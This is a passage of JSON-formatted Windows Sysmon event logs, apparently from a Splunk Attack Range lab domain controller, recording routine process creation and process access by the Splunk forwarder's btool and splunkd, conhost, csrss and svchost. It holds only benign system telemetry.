11:52:26.838","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-0010090E0500}","TargetProcessId":"2864","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3171,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.850\r\nProcessGuid: {90617006-407A-5F2D-0000-0010CA0E0500}\r\nProcessId: 888\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list httpServerListener: --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-407A-5F2D-0000-0010090E0500}\r\nParentProcessId: 2864\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list httpServerListener: --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.850","ProcessGuid":"{90617006-407A-5F2D-0000-0010CA0E0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list httpServerListener: --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-407A-5F2D-0000-0010090E0500}","ParentProcessId":"2864","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list httpServerListener: --no-log","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3172,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-407A-5F2D-0000-0010090E0500}\r\nSourceProcessId: 2864\r\nSourceThreadId: 2836\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-0010CA0E0500}\r\nTargetProcessId: 888\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-407A-5F2D-0000-0010090E0500}","SourceProcessId":"2864","SourceThreadId":"2836","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-0010CA0E0500}","TargetProcessId":"888","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3173,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3174,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-0010CA0E0500}\r\nTargetProcessId: 888\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-0010CA0E0500}","TargetProcessId":"888","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3175,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3176,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3177,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3178,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3179,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 